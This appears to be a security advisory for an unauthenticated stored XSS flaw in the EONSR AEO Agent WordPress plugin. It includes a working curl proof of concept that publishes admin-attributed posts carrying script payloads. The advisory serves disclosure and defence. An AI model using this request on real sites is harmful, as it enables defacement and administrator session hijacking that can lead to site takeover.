EONSR AEO Agent <= 3.7.9 – Unauthenticated Stored XSS via Scheduled Post Creation | CVE 2026-11588

Description

The plugin does not perform any authorisation check on one of its REST API routes and disables HTML sanitisation before saving the post, allowing unauthenticated attackers to create administrator-attributed published posts containing arbitrary web scripts that execute in the browser of any visitor, including administrators (Stored XSS).

Proof of Concept

Unauthenticated Stored XSS and admin-attributed post creation. No authentication, nonce, cookie, Origin or Referer required.

Prerequisites:
- EONSR AEO Agent 3.7.9 active on a WordPress site (default configuration).

Step 1 - As an unauthenticated attacker, send a single POST request. Set "scheduledTime" to the current UTC time (or within 120 seconds of it) so the post is published immediately rather than scheduled:

curl -sk -X POST 'https://victim.example/wp-json/eonsr-aeo-agent/v1/scheduled-post/create' \
  -H 'Content-Type: application/json' \
  -d '{
    "content": "<h1>Pwned</h1><script>alert(document.cookie)</script><img src=x onerror=alert(1)>",
    "metadata": {
      "title": "Attacker controlled title",
      "meta_description": "spam SEO description",
      "focus_keyphrase": "spam",
      "tags": ["attacker-tag"]
    },
    "scheduledTime": "2026-06-08T13:18:17Z"
  }'

Response: HTTP 200
{"success":true,"message":"Post created successfully","data":{"postId":3,"status":"publish",...}}

Step 2 - Observe the side effects (no authentication at any point):
- A new post is published (post_status = publish) and attributed to user ID 1 / the site administrator (post_author = 1).
- The raw <script> and <img onerror> are stored byte-for-byte in post_content; the handler disables WordPress' HTML sanitisation (kses) before inserting the post.
- Visiting the post permalink as any anonymous visitor returns the raw <script> in the page HTML, so the injected JavaScript executes in the browser of every visitor, including an administrator who views the post in the front end. This is Stored XSS in an authenticated admin session, the standard pivot to full site takeover.
- The attacker also controls the Yoast/RankMath SEO meta fields and can create arbitrary post tags.

Verified on WordPress multisite with EONSR AEO Agent 3.7.9: the anonymous POST returned HTTP 200 with a postId, the created post had post_author=1 (administrator) and post_status=publish, post_content held the literal <script>alert(...)</script>, and the rendered public permalink served that <script> verbatim.